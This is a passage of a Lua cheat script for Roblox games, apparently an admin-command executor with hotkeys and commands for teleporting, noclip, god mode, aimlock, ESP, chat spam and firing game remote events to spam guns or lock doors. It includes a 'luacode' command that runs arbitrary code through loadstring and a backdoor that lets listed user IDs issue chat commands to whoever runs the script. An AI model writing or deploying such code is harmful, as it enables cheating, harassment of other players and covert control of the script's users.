  1535. notif("CommandBarKey","Has been set to the hotkey: "..KeyCode,5,nil)
  1536. CanSetHotkey = nil
  1537. KeysFrame.Visible = false
  1538. elseif CanSetHotkey == "AnyCmd" and AnyCmdTextBox.Text ~= "" then
  1539. for Index,Key in pairs(Keys) do
  1540. if Key:match("[%a%d]+$") == KeyCode then
  1541. table.remove(Keys,Index)
  1542. end
  1543. end
  1544. Keys[#Keys + 1] = AnyCmdTextBox.Text.."||"..KeyCode
  1545. notif(AnyCmdTextBox.text,"Has been set to the hotkey: "..KeyCode,5,nil)
  1546. CanSetHotkey = nil
  1547. AnyCmdTextBox.Text = ""
  1548. KeysFrame.Visible = false
  1549. end
  1550. updateHotkeys(ConfigurationFile)
  1551. end
  1552. end
  1553. if Target and Key.UserInputType == Enum.UserInputType.MouseButton2 then
  1554. local Target = Target.Parent
  1555. if Target and Target:FindFirstChild'Click' and Target:FindFirstChild'Locker' then
  1556. if Target.Locker.Value then
  1557. Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1558. Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1559. else
  1560. Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1561. Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1562. end
  1563. end
  1564. end
  1565. if ClickTpKey and ClickTpKey ~= "" and Key.KeyCode == Enum.KeyCode[ClickTpKey:upper()] and Target then
  1566. Teleport(CFrame.new(Mouse.Hit.p + Vector3.new(0,5,0)))
  1567. end
  1568. for i,v in pairs(Keys) do
  1569. local KeyCode = convertKeyCode(v:match'[%a%d]+$')
  1570. if KeyCode == Key.KeyCode then
  1571. CheckCommand(v:match'^[%w%s]+')
  1572. end
  1573. end
  1574. if Key.KeyCode == Enum.KeyCode.LeftControl then
  1575. KeyTable['Control'] = true
  1576. if AirwalkOn then AirWalk.Size = Vector3.new(0,0,0) end
  1577. if Normalwalk and CrouchSpeed == 8 then return end
  1578. Character.Humanoid.WalkSpeed = CrouchSpeed
  1579. end
  1580. if Key.KeyCode == Enum.KeyCode.LeftShift then
  1581. KeyTable['Shift'] = true
  1582. if Normalwalk and SprintSpeed == 25 then return end
  1583. Character.Humanoid.WalkSpeed = SprintSpeed
  1584. end
  1585. if Key.KeyCode == Enum.KeyCode.W then
  1586. KeyTable['W'] = true
  1587. end
  1588. if Key.KeyCode == Enum.KeyCode.A then
  1589. KeyTable['A'] = true
  1590. end
  1591. if Key.KeyCode == Enum.KeyCode.S then
  1592. KeyTable['S'] = true
  1593. end
  1594. if Key.KeyCode == Enum.KeyCode.D then
  1595. KeyTable['D'] = true
  1596. end
  1597. if Key.KeyCode == Enum.KeyCode.Space then
  1598. if AirwalkOn then PartFound.CFrame = PartFound.CFrame + Vector3.new(0,5,0) end
  1599. end
  1600. if Key.KeyCode == Enum.KeyCode.E and Character:FindFirstChildOfClass'Tool' and Character:FindFirstChildOfClass'Tool':FindFirstChild'Clips' and not Character:FindFirstChild('Bone',true) and GunStomp then
  1601. if game.PlaceId == 455366377 then
  1602. local OldTool = Character:FindFirstChildOfClass'Tool'
  1603. OldTool.Parent = LP.Backpack
  1604. wait()
  1605. local Punch = LP.Backpack.Punch
  1606. Punch.Parent = Character
  1607. LP.Backpack.Input:FireServer("e",{})
  1608. wait(1)
  1609. Punch.Parent = LP.Backpack
  1610. wait()
  1611. OldTool.Parent = Character
  1612. else
  1613. LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack.Punch)
  1614. end
  1615. end
  1616. if Key.KeyCode == Enum.KeyCode[CmdBarKey] then
  1617. wait()
  1618. CmdBarTextBox:CaptureFocus()
  1619. CmdBarFrame:TweenPosition(UDim2.new(0.5,0,0.5,0),"In","Sine",0.5,true)
  1620. local TextBox = UserInput.TextBoxFocusReleased:Wait()
  1621. CheckCommand(TextBox.Text)
  1622. TextBox.Text = ""
  1623. CmdBarFrame:TweenPosition(UDim2.new(1.5,0,1.5,0),"Out","Quad",0.5,true)
  1624. end
  1625. if Character:FindFirstChild'GravGun' then
  1626. if Key.KeyCode == Enum.KeyCode.Q and GravGunDistance > 5 then
  1627. GravGunDistance = GravGunDistance - 5
  1628. end
  1629. if Key.KeyCode == Enum.KeyCode.V then
  1630. GravGunDistance = GravGunDistance + 5
  1631. end
  1632. if Key.KeyCode == Enum.KeyCode.B then
  1633. GravGunSeizureMode = not GravGunSeizureMode
  1634. notif("WOW!","You found Grav gun seizure mode!, it has been set to "..tostring(GravGunSeizureMode),5,nil)
  1635. end
  1636. end
  1637. end)
  1638.  
  1639. UserInput.InputEnded:Connect(function(Key)
  1640. local Character = GetChar()
  1641. if UserInput:GetFocusedTextBox() then return end
  1642. if Key.KeyCode == Enum.KeyCode.W then
  1643. KeyTable['W'] = false
  1644. end
  1645. if Key.KeyCode == Enum.KeyCode.A then
  1646. KeyTable['A'] = false
  1647. end
  1648. if Key.KeyCode == Enum.KeyCode.S then
  1649. KeyTable['S'] = false
  1650. end
  1651. if Key.KeyCode == Enum.KeyCode.D then
  1652. KeyTable['D'] = false
  1653. end
  1654. if Key.KeyCode == Enum.KeyCode.LeftShift and SprintSpeed then
  1655. KeyTable['Shift'] = false
  1656. if Normalwalk and SprintSpeed == 25 then return end
  1657. Character.Humanoid.WalkSpeed = WalkSpeed
  1658. end
  1659. if Key.KeyCode == Enum.KeyCode.LeftControl then
  1660. KeyTable['Control'] = false
  1661. if AirwalkOn then AirWalk.Size = Vector3.new(5,1,5) end
  1662. if Normalwalk and CrouchSpeed == 8 then return end
  1663. Character.Humanoid.WalkSpeed = WalkSpeed
  1664. end
  1665. end)
  1666.  
  1667. UserInput.JumpRequest:Connect(function()
  1668. local Character = GetChar()
  1669. if Character:FindFirstChildOfClass'Humanoid' and DoubleJumpEnabled then
  1670. Character.Humanoid:ChangeState(3)
  1671. end
  1672. end)
  1673.  
  1674. LP.Idled:Connect(function()
  1675. VirtualUser:CaptureController()
  1676. VirtualUser:ClickButton1(Vector2.new(0.5,0.5))
  1677. end)
  1678.  
  1679. Mouse.Button1Down:Connect(function()
  1680. local MouseTarget = Mouse.Target
  1681. if MouseTarget and GetChar():FindFirstChild'Zetox Btools' then
  1682. MouseTarget:Destroy()
  1683. end
  1684. if MouseTarget and GetChar():FindFirstChild'GravGun' then
  1685. local Target = MouseTarget.Parent:FindFirstChild'Head' or MouseTarget.Parent.Parent:FindFirstChild'Head' or MouseTarget
  1686. if Players:GetPlayerFromCharacter(Target.Parent) or not Target.Anchored then
  1687. GravGunBodyPosition = createBodyPos(Target)
  1688. end
  1689. end
  1690. if BfgOn and GetChar():FindFirstChildOfClass'Tool' and GetChar():FindFirstChildOfClass'Tool':FindFirstChild('Clips',true) and not CurrentlyShooting then
  1691. CurrentlyShooting = true
  1692. GetChar().Humanoid:UnequipTools()
  1693. local OldTool;
  1694. for _,Tool in pairs(LP.Backpack:GetChildren()) do
  1695. if Tool:IsA'Tool' and Tool:FindFirstChild('Clips',true) then
  1696. Tool.Parent = GetChar()
  1697. OldTool = Tool
  1698. LP.Backpack.Input:FireServer("m1",{
  1699. ['mousehit'] = Aimlock and AimlockTarget and AimbotToCFrame() or Mouse.Hit;
  1700. ['shift'] = UserInput:IsKeyDown(Enum.KeyCode.LeftShift);
  1701. ['velo'] = 0;
  1702. })
  1703. wait(0.3)
  1704. Tool.Parent = LP.Backpack
  1705. wait(0.3)
  1706. end
  1707. end
  1708. OldTool.Parent = GetChar()
  1709. CurrentlyShooting = false
  1710. end
  1711. end)
  1712.  
  1713. Mouse.Button1Up:Connect(function()
  1714. if GravGunBodyPosition then
  1715. GravGunBodyPosition:Destroy()
  1716. end
  1717. if GravGunBodyVelocity then
  1718. GravGunBodyVelocity:Destroy()
  1719. end
  1720. end)
  1721.  
  1722. Players.PlayerAdded:Connect(function(Player)
  1723. if BackDoorTablePlayers[Player.UserId] then -- SHUT UP EST I'M TIRED
  1724. print(1)
  1725. Player.Chatted:Connect(function(Chat) BackdoorCheck(Player,Chat) end)
  1726. end
  1727. Player.CharacterAdded:Connect(function(C)
  1728. local Head = C:WaitForChild('Head',10)
  1729. if Head then
  1730. if AimlockMode == "Closest" then
  1731. AimlockClosest(Player)
  1732. end
  1733. local Backdoor = BackDoorTablePlayers[Player.UserId]
  1734. local Blacklist = BlacklistTable[Player.UserId]
  1735. if Blacklist or Player:IsInGroup(5152759) or string.find(Player.Name:lower(),"lynx") then
  1736. Esp(Player.Character.Head,Player.Name,Color3.fromRGB(102,51,0),true)
  1737. Player.CharacterAdded:Connect(function(C)
  1738. local Head = C:WaitForChild'Head'
  1739. if Head then
  1740. Esp(Head,Player.Name,Color3.fromRGB(102,51,0),true)
  1741. end
  1742. end)
  1743. end
  1744. if Backdoor then
  1745. Esp(Player.Character.Head,Backdoor['Name'],Backdoor['Colour'])
  1746. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  1747. Player.CharacterAdded:Connect(function(C)
  1748. local Head = C:WaitForChild'Head'
  1749. if Head then
  1750. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  1751. Esp(Head,Backdoor['Name'],Backdoor['Colour'])
  1752. end
  1753. end)
  1754. end
  1755. end
  1756. end)
  1757. local Chatted;Chatted = Player.Chatted:Connect(function(Chat)
  1758. local User = IsAUser(Player,Chat)
  1759. if User then
  1760. Chatted:Disconnect()
  1761. end
  1762. end)
  1763. end)
  1764.  
  1765. AnyCmdButton.MouseButton1Click:Connect(function()
  1766. CanSetHotkey = "AnyCmd"
  1767. if AnyCmdTextBox.Text == "" then
  1768. AnyCmdButton.Text = "Type a command above"
  1769. else
  1770. AnyCmdButton.Text = "Press a Key"
  1771. end
  1772. end)
  1773.  
  1774. CmdBarKeyButton.MouseButton1Click:Connect(function()
  1775. CanSetHotkey = "CmdBar"
  1776. end)
  1777.  
  1778. Players.PlayerRemoving:Connect(function(Player)
  1779. if ExploitDetectionPlayerTablePositions[tostring(Player)] then
  1780. ExploitDetectionPlayerTablePositions[tostring(Player)] = nil
  1781. end
  1782. if tostring(Player) == tostring(AimlockTarget) then
  1783. AimlockTarget = nil
  1784. end
  1785. if Player == LoopPlayer then
  1786. FeLoop = false
  1787. LoopPlayer = nil
  1788. end
  1789. if Player == AnnoyingPlayer then
  1790. TriggerBot = false
  1791. AnnoyOn = false
  1792. AnnoyingPlayer = nil
  1793. AimbotAutoShoot = false
  1794. Flying = false
  1795. AutoDie = false
  1796. AimlockTarget = nil
  1797. end
  1798. Unesp(Player)
  1799. end)
  1800.  
  1801. CmdBarTextBox:GetPropertyChangedSignal("Text"):Connect(function()
  1802. pcall(function()
  1803. if CmdBarTextBox.Text ~= "" or CmdBarTextBox.Text ~= " " then
  1804. local Position = 0
  1805. local Children = CmdBarFrame:GetChildren()
  1806. for i = 1,#Children do
  1807. local Child = Children[i]
  1808. if Child:IsA'TextLabel' then
  1809. local Text = string.lower(Child.Text):gsub("[Alias] ","")
  1810. if string.find(Text,CmdBarTextBox.Text:lower()) then
  1811. Child.Position = UDim2.new(0,0,0,10 + (Position * 20))
  1812. Position = Position + 1
  1813. if Position >= 7 then
  1814. Child.Position = UDim2.new(0,0,0,1000)
  1815. Position = Position - 1
  1816. end
  1817. else
  1818. Child.Position = UDim2.new(0,0,0,1000)
  1819. end
  1820. end
  1821. end
  1822. end
  1823. end)
  1824. end)
  1825.  
  1826. CmdBarTextBox.FocusLost:Connect(function(PressedEnter)
  1827. CmdBarFrame:TweenPosition(UDim2.new(1.5,0,1.5,0),"Out","Quad",0.5,true)
  1828. if PressedEnter then
  1829. CheckCommand(CmdBarTextBox.Text)
  1830. CmdBarTextBox.Text = "" -- stop double executing
  1831. end
  1832. end)
  1833.  
  1834. -- [[ End ]] --
  1835.  
  1836. -- [[ Commands ]] --
  1837.  
  1838. AddCommand(function()
  1839. CmdsFrame.Visible = not CmdsFrame.Visible
  1840. end,"help",{"cmds","commands"},"Gives you help info","[No Args]")
  1841.  
  1842. AddCommand(function(Arguments)
  1843. AliasesEnabled = not AliasesEnabled
  1844. notif("AliasesEnabled","Has been set to "..tostring(AliasesEnabled),5,nil)
  1845. end,"usealiases",{"usealias"},"Turns On/Off Aliases","[No Args]")
  1846.  
  1847. AddCommand(function(Arguments)
  1848. Instance.new('Tool',LP.Backpack).Name = "Zetox Btools"
  1849. end,"btools",{},"Gives you btools","[No Args]")
  1850.  
  1851. AddCommand(function(Arguments)
  1852. if Arguments[1] then
  1853. if Arguments[1] == "normal" then
  1854. workspace.CurrentCamera.FieldOfView = 70
  1855. elseif tonumber(Arguments[1]) then
  1856. workspace.CurrentCamera.FieldOfView = Arguments[1]
  1857. end
  1858. end
  1859. end,"fieldofview",{"fov"},"Changes Field of View","[Number/Normal]")
  1860.  
  1861. AddCommand(function()
  1862. wait(0.6)
  1863. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Made by CyTheBasedFoxMan | Join the cord at nXcZH36","All")
  1864. end,"advertise",{},"Advertises the discord","[No Args]")
  1865.  
  1866. AddCommand(function(Arguments)
  1867. if not loadstring then notif("Don't have loadstring","Aborting the command",5,nil) end
  1868. if Arguments[1] then
  1869. loadstring(table.concat(Arguments," "))()
  1870. end
  1871. end,"luacode",{"exec","lua"},"Executes Lua code","[Code]")
  1872.  
  1873. AddCommand(function()
  1874. local ServerTable = {}
  1875. for i = 1,10 do
  1876. local Server = HttpService:JSONDecode(game:HttpGet("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex="..i))
  1877. for i = 1,#Server.Collection do
  1878. local Collection = Server.Collection[i]
  1879. ServerTable[Collection.Ping] = Collection.Guid
  1880. end
  1881. for i,v in pairs(ServerTable) do
  1882. if v ~= game.JobId then
  1883. TeleportService:TeleportToPlaceInstance(game.PlaceId,v)
  1884. break
  1885. end
  1886. end
  1887. end
  1888. end,"serverhop",{},"Hops servers of your current game","[No Args]")
  1889.  
  1890. AddCommand(function(Arguments)
  1891. if Arguments[1] and tonumber(Arguments[1]) then
  1892. WalkShoot = true
  1893. Normalwalk = true
  1894. WalkSpeed = Arguments[1]
  1895. GetChar().Humanoid.WalkSpeed = Arguments[1]
  1896. end
  1897. end,"speed",{"ws"},"Changes walkspeed","[Number]")
  1898.  
  1899. AddCommand(function(Arguments)
  1900. if Arguments[1] and tonumber(Arguments[1]) then
  1901. Normalwalk = false
  1902. SprintSpeed = Arguments[1]
  1903. updateHotkeys(ConfigurationFile)
  1904. end
  1905. end,"sprintspeed",{"sspeed"},"Changes sprinting speed","[Number]")
  1906.  
  1907. AddCommand(function(Arguments)
  1908. if Arguments[1] and tonumber(Arguments[1]) then
  1909. Normalwalk = false
  1910. CrouchSpeed = Arguments[1]
  1911. updateHotkeys(ConfigurationFile)
  1912. end
  1913. end,"crouchspeed",{"cspeed"},"Changes crouching speed","[Number]")
  1914.  
  1915. AddCommand(function(Arguments)
  1916. if Arguments[1] and tonumber(Arguments[1]) then
  1917. GetChar().Humanoid.JumpPower = Arguments[1]
  1918. end
  1919. end,"jumppower",{"jp"},"Changes JumpPower","['Number]")
  1920.  
  1921. AddCommand(function(Arguments)
  1922. if Arguments[1] and tonumber(Arguments[1]) then
  1923. GetChar().Humanoid.HipHeight = Arguments[1]
  1924. end
  1925. end,"hipheight",{"hh"},"Changes HipHeight","[Number]")
  1926.  
  1927. AddCommand(function(Arguments)
  1928. if Arguments[1] then
  1929. if tonumber(Arguments[1]) then
  1930. workspace.Gravity = tonumber(Arguments[1])
  1931. elseif Arguments[1] and Arguments[1] == "normal" then
  1932. workspace.Gravity = NormalGravity
  1933. end
  1934. end
  1935. end,"gravity",{"grav"},"Changes gravity","[Number/Normal]")
  1936.  
  1937. AddCommand(function(Arguments)
  1938. local Character = GetChar()
  1939. if Arguments[1] then
  1940. if Arguments[1] == "ws" or Arguments[1] == "speed" then
  1941. Character.Humanoid.WalkSpeed = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1942. SpawnWs = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1943. WalkSpeed = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1944. elseif Arguments[1] == "jp" or Arguments[1] == "jumppower" then
  1945. Character.Humanoid.JumpPower = Arguments[2] and tonumber(Arguments[2]) or NormalJP
  1946. SpawnJP = Arguments[2] and tonumber(Arguments[2]) or NormalJP
  1947. elseif Arguments[1] == "hh" or Arguments[1] == "hipheight" then
  1948. Character.Humanoid.HipHeight = Arguments[2] and tonumber(Arguments[2]) or NormalHH
  1949. NormalHH = Arguments[2] and tonumber(Arguments[2]) or NormalHH
  1950. end
  1951. end
  1952. end,"loop",{"spawn"},"Spawns you with that [Speed/JumpPower/HipHeight]","[jp/hh/ws [Number]]")
  1953.  
  1954. AddCommand(function(Arguments)
  1955. local Tool = GetChar():FindFirstChildOfClass'Tool'
  1956. if not Tool then notif("Tool Needed","Hold a tool then run the command again",5,nil) return end
  1957. Tool.Parent = LP.Backpack
  1958. Tool.Grip = CFrame.new(Arguments[1] or 0,Arguments[2] or 0,Arguments[3] or 0) + Vector3.new(Arguments[4] or 0,Arguments[5] or 0,Arguments[6] or 0)
  1959. Tool.Parent = GetChar()
  1960. end,"grippos",{"grip"},"Changes your tool .Grip","[6 Numbers (Optional)]")
  1961.  
  1962. AddCommand(function(Arguments)
  1963. NoGh = not NoGh
  1964. notif("NoGroundHit","Has been set to "..tostring(NoGh),5,nil)
  1965. end,"nogroundhit",{"nogh","antigh","antigroundhit"},"Can't be groundhit","[No Args]")
  1966.  
  1967. AddCommand(function(Arguments)
  1968. if game.PlaceId ~= 4669040 then notif("Due to an update snake did","this only works on prison.",5,nil) return end
  1969. AlwaysGh = not AlwaysGh
  1970. end,"alwaysgh",{"alwaysgroundhit"},"Beat people up like the school bully did to you when you were 13!","[No Args]")
  1971.  
  1972. AddCommand(function()
  1973. local HudChildren = LP.PlayerGui.HUD:GetChildren()
  1974. for i = 1,#HudChildren do
  1975. local Child = HudChildren[i]
  1976. if Child:IsA'Frame' then
  1977. Child.Active = not Child.Active
  1978. Child.Draggable = not Child.Draggable
  1979. end
  1980. end
  1981. end,"draggablegui",{},"Makes your HUD draggable","[No Args]")
  1982.  
  1983. AddCommand(function(Arguments)
  1984. if not Arguments[1] then
  1985. GodMode = not GodMode
  1986. if GodMode then
  1987. if game.PlaceId == 455366377 then
  1988. notif("go get KO'ed","make sure you don't get dragged and like fly away somewhere when you get up you will be godded",5,nil)
  1989. end
  1990. end
  1991. if game.PlaceId ~= 455366377 then
  1992. GetChar():BreakJoints()
  1993. end
  1994. notif("GodMode","Has been set to "..tostring(GodMode),5,nil)
  1995. end
  1996. end,"godmode",{"god"},"Turns on god-mode so you can't be hit (Breaks Tools)","[No Args]")
  1997.  
  1998. AddCommand(function(Arguments)
  1999. local Descendants = game:GetDescendants()
  2000. for i = 1,tonumber(Arguments[1]) or 50 do
  2001. local Child = Descendants[i]
  2002. if Child:IsA'Tool' and Child:FindFirstChild'Click' then
  2003. Child.Click:FireServer()
  2004. wait()
  2005. end
  2006. end
  2007. end,"spamclick",{},"Spam clicks a fuck ton of guns to be very annoying","[Number (Optional)]")
  2008.  
  2009. AddCommand(function()
  2010. local WorkspaceChildren = workspace:GetChildren()
  2011. for i = 1,#WorkspaceChildren do
  2012. local Child = WorkspaceChildren[i]
  2013. if Child.Name == "Door" and Child:FindFirstChild'Click' and Child:FindFirstChild'Lock' then
  2014. Child.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  2015. Child.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  2016. end
  2017. end
  2018. end,"doors",{},"Unlocks/Locks doors","[No Args]")
  2019.  
  2020. AddCommand(function(Arguments)
  2021. Spamming = not Spamming
  2022. if Arguments[1] then
  2023. SpamMessage = table.concat(Arguments," ")
  2024. end
  2025. end,"spam",{},"Spams the message that you set","[Message To Spam]")
  2026.  
  2027. AddCommand(function(Arguments)
  2028. if Arguments[1] then
  2029. SpamDelay = tonumber(Arguments[1]) or 1
  2030. end
  2031. end,"spamdelay",{},"Changes the spam delay amount","[Number]")
  2032.  
  2033. AddCommand(function(Arguments)
  2034. local GameDescendants = game:GetDescendants()
  2035. for i = 1,10 do
  2036. for i = 1,#GameDescendants do
  2037. local Child = GameDescendants[i]
  2038. if Child:IsA'Tool' and Child:FindFirstChild'Click' then
  2039. Child.Click:FireServer()
  2040. end
  2041. end
  2042. end
  2043. end,"muteallradios",{"muteradios"},"Mutes all radios (Doesn't loop)","[No Args]")
  2044.  
  2045. AddCommand(function(Arguments)
  2046. if not Arguments[1] then
  2047. TeleportService:TeleportToPlaceInstance(game.PlaceId,game.JobId)
  2048. end
  2049. end,"rejoin",{"rj"},"Rejoins the current game server","[No Args]")
  2050.  
  2051. AddCommand(function(Arguments)
  2052. if not Arguments[1] then
  2053. GetChar():BreakJoints()
  2054. end
  2055. end,"reset",{"re"},"Kills your Player","[No Args]")
  2056.  
  2057. AddCommand(function()
  2058. AirwalkOn = not AirwalkOn
  2059. AirWalk.Parent = AirwalkOn and workspace or not AirwalkOn and nil
  2060. end,"airwalk",{},"Allows you to walk in the air","[No Args]")
  2061.  
  2062. AddCommand(function()
  2063. NeverSitting = not NeverSitting
  2064. if NeverSitting then
  2065. local workspaceChildren = workspace:GetDescendants()
  2066. for i = 1,#workspaceChildren do
  2067. local Child = workspaceChildren[i]
  2068. if string.find(Child.ClassName:lower(),"seat") then
  2069. Child.Parent = CoreGui
  2070. end
  2071. end
  2072. else
  2073. local CoreGuiDescendants = CoreGui:GetDescendants()
  2074. for i = 1,#CoreGuiDescendants do
  2075. local Child = CoreGuiDescendants[i]
  2076. if string.find(Child.ClassName:lower(),"seat") then
  2077. Child.Parent = workspace
  2078. end
  2079. end
  2080. end
  2081. end,"neversit",{"nsit"},"Toggles the possibility of you being able to sit down","[No Args]")
  2082.  
  2083. AddCommand(function()
  2084. AutoDie = not AutoDie
  2085. notif("AntiKO","Has been set to "..tostring(AutoDie),5,nil)
  2086. end,"noko",{"antiko","autodie","autoreset"},"Auto resets when you get KO'ed","[No Args]")
  2087.  
  2088. AddCommand(function()
  2089. Noclip = not Noclip
  2090. notif("Noclip","Has been set to "..tostring(Noclip),5,nil)
  2091. end,"noclip",{},"Allows you to walk through walls and stuff","[No Args]")
  2092.  
  2093. AddCommand(function(Arguments)
  2094. if Arguments[1] then
  2095. local Player = PlrFinder(Arguments[1])
  2096. if Player and Player.Character and Player.Character:FindFirstChild'Head' and Player ~= LP then
  2097. Teleport(Player.Character.Head.CFrame)
  2098. end
  2099. end
  2100. end,"goto",{"to"},"Teleports you to a player","[Player Name]")
  2101.  
  2102. AddCommand(function(Arguments)
  2103. if Arguments[1] and tonumber(Arguments[1]) then
  2104. ClockTime = Arguments[1]
  2105. else
  2106. ClockTime = nil
  2107. end
  2108. end,"time",{},"Changes the time","[Number]")
  2109.  
  2110. AddCommand(function(Arguments)
  2111. if Arguments[1] then
  2112. local Player = PlrFinder(Arguments[1])
  2113. if Player then
  2114. notif(Player.Name,"has the account age of "..Player.AccountAge,5,nil)
  2115. end
  2116. end
  2117. end,"playerinfo",{"info"},"Returns a players age","[No Args]")
  2118.  
  2119. AddCommand(function(Arguments)
  2120. AntiAim = not AntiAim
  2121. if not AntiAim then
  2122. stopAnim("215384594")
  2123. stopAnim("188632011")
  2124. for i,v in pairs(GetChar().Torso:GetChildren()) do
  2125. if v:IsA'BodyVelocity' and v.Name ~= "CyAdminFly" then
  2126. v:Destroy()
  2127. end
  2128. end
  2129. else
  2130. for i = 1,500 do
  2131. local BodyV = Instance.new("BodyVelocity",GetChar().Torso)
  2132. BodyV.MaxForce = Vector3.new(100,100,100)
  2133. BodyV.P = math.huge
  2134. BodyV.Velocity = Vector3.new(math.huge,math.huge,math.huge)
  2135. end
  2136. if Arguments[1] and Arguments[1] == "spin" then
  2137. local Track = GetChar().Humanoid:LoadAnimation(SpinAnimation)
  2138. while AntiAim and GetChar():FindFirstChild'Humanoid' and GetChar().Humanoid.Health > 0 and wait() do
  2139. stopAnim("188632011")
  2140. Track:play(0.1,1,10)
  2141. end
  2142. else
  2143. stopAnim("215384594")
  2144. stopAnim("188632011")
  2145. GetChar().Humanoid:LoadAnimation(AntiAimAnimation):Play(5,45,250)
  2146. end
  2147. end
  2148. end,"antiaim",{},"Breaks camlock to an extent","[Spin/No Args]")
  2149.  
  2150. AddCommand(function()
  2151. local Punch = GetChar():FindFirstChild'Punch'
  2152. if Punch then
  2153. if Punch.Grip == CFrame.new(math.huge,math.huge,math.huge) then
  2154. Punch.Parent = LP.Backpack
  2155. Punch.Grip = CFrame.new(0,0,0)
  2156. wait()
  2157. Punch.Parent = GetChar()
  2158. notif("SuperPunch","Turned off",5,nil)
  2159. else
  2160. Punch.Parent = LP.Backpack
  2161. Punch.Grip = CFrame.new(math.huge,math.huge,math.huge)
  2162. wait()
  2163. Punch.Parent = GetChar()
  2164. notif("SuperPunch","Turned on (Lasts one life also really buggy)",5,nil)
  2165. end
  2166. else
  2167. notif("SuperPunch","Hold your fists",5,nil)
  2168. end
  2169. end,"superpunch",{},"This is really stupid and buggy but funny when it works","[No Args]")
  2170.  
  2171. AddCommand(function(Arguments)
  2172. if Arguments[1] then
  2173. if Arguments[1] == "1" then
  2174. GunAnim = "1"
  2175. elseif Arguments[1] == "2" then
  2176. GunAnim = "2"
  2177. elseif Arguments[1] == "off" then
  2178. GunAnim = "None"
  2179. else
  2180. notif("GunAnim","Only [1/2/Off] work")
  2181. return
  2182. end
  2183. notif("GunAnim","Has been set to "..GunAnim,5,nil)
  2184. end
  2185. end,"gunanim",{},"Stupid gun animations (gunanim [1/2/off])","[1/2/off]")
  2186.  
  2187. AddCommand(function(Arguments)
  2188. if Arguments[1] then
  2189. stopAnim("33796059")
  2190. stopAnim("35654637")
  2191. if Arguments[1] == "1" then
  2192. GetChar().Humanoid:LoadAnimation(Dance1Animation):Play()
  2193. elseif Arguments[1] == "2" then
  2194. GetChar().Humanoid:LoadAnimation(Dance2Animation):Play()
  2195. elseif Arguments[1] == "off" then
  2196. stopAnim("33796059")
  2197. stopAnim("35654637")
  2198. end
  2199. end
  2200. end,"dance",{},"Stupid dance anims (1,2,Off)","[Dance 1/Dance 2/Off]")
  2201.  
  2202. AddCommand(function(Arguments)
  2203. if Arguments[1] then
  2204. if Arguments[1] == "head" then
  2205. CamlockTarget = "Head"
  2206. elseif Arguments[1] == "torso" then
  2207. CamlockTarget = "Torso"
  2208. end
  2209. notif("CamlockTarget","Has been set to "..CamlockTarget,5,nil)
  2210. end
  2211. end,"camlocktarget",{"cltarget"},"Head,Torso to switch the camlock target","[Head/Torso]")
  2212.  
  2213. AddCommand(function()
  2214. if game.PlaceId ~= 455366377 then notif("BringCar","Streets Only",5,nil) return end
  2215. math.randomseed(os.time())
  2216. if workspace:FindFirstChild'Cars' then
  2217. local PartFound = GetChar():FindFirstChild'RealHumanoidRootPart' or GetChar():FindFirstChild'Torso'
  2218. local ChildrenOfCars = workspace.Cars:GetDescendants()
  2219. for i = 1,#ChildrenOfCars do
  2220. local i = math.random(1,#ChildrenOfCars)
  2221. local Child = ChildrenOfCars[i]
  2222. if Child:IsA'VehicleSeat' and Child.Name == "Drive" and not Child.Occupant then
  2223. PartFound.CFrame = Child.CFrame
  2224. end
  2225. end
  2226. else
  2227. notif("No cars to bring","try again later",5,nil)
  2228. end
  2229. end,"bringcar",{},"Brings a car (Normal TS only","[No Args]")
  2230.  
  2231. AddCommand(function()
  2232. if game.PlaceId ~= 455366377 then notif("Heal","Streets Only",5,nil) return end
  2233. if TpBypass then notif("Due to snakes bad code","you can not use burgers/drinks with the tpbypass") return end
  2234. if GrabItem("burger",GetChar().Head.CFrame) then
  2235. local Hamborger = LP.Backpack:FindFirstChild'Burger'
  2236. if Hamborger then
  2237. Hamborger.Parent = GetChar()
  2238. Hamborger:Activate() -- CHEEMS
  2239. repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= LP.Character
  2240. end
  2241. end
  2242. if GrabItem("drink",GetChar().Head.CFrame) then
  2243. local Drink = LP.Backpack:FindFirstChild'Drink'
  2244. if Drink then
  2245. Drink.Parent = GetChar()
  2246. Drink:Activate()
  2247. end
  2248. end
  2249. end,"heal",{"h"},"Heals you (Duh?)","[No Args]","[No Args]")
  2250.  
  2251. AddCommand(function(Arguments)
  2252. if game.PlaceId ~= 455366377 then notif("Sorry,","Streets Only",5,nil) return end
  2253. HealBot = not HealBot
  2254. if Arguments[1] and Arguments[2] and tonumber(Arguments[2]) and Arguments[1] == "health" then
  2255. HealBotHealth = tonumber(Arguments[2])
  2256. end
  2257. notif("HealBot","Has been set to "..tostring(HealBot),5,nil)
  2258. end,"healbot",{},"Turns on auto healing at a set health (Defaults at 25 hp","[Health [Number] (Optional)]")
  2259.  
  2260. AddCommand(function()
  2261. if game.PlaceId ~= 455366377 then notif("Heal","Streets Only",5,nil) return end
  2262. if not GetChar():FindFirstChildOfClass'Tool' or not GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Clips' then notif("Tool needed","Hold a gun",5,nil) return end
  2263. GrabItem("ammo",GetChar().Head.CFrame)
  2264. end,"reload",{"r"},"Gives your current gun ammo","[No Args]")
  2265.  
  2266. AddCommand(function(Arguments)
  2267. if Arguments[1] then
  2268. local Player = PlrFinder(Arguments[1])
  2269. if Player and Player.Character and Player ~= LP then
  2270. if ViewPlayerConnection then ViewPlayerConnection:Disconnect() ViewPlayerConnection = nil end
  2271. workspace.CurrentCamera.CameraSubject = Player.Character
  2272. if Arguments[2] and Arguments[2] == "loop" then
  2273. ViewPlayerConnection = Player.CharacterAdded:Connect(function(C)
  2274. workspace.CurrentCamera.CameraSubject = C
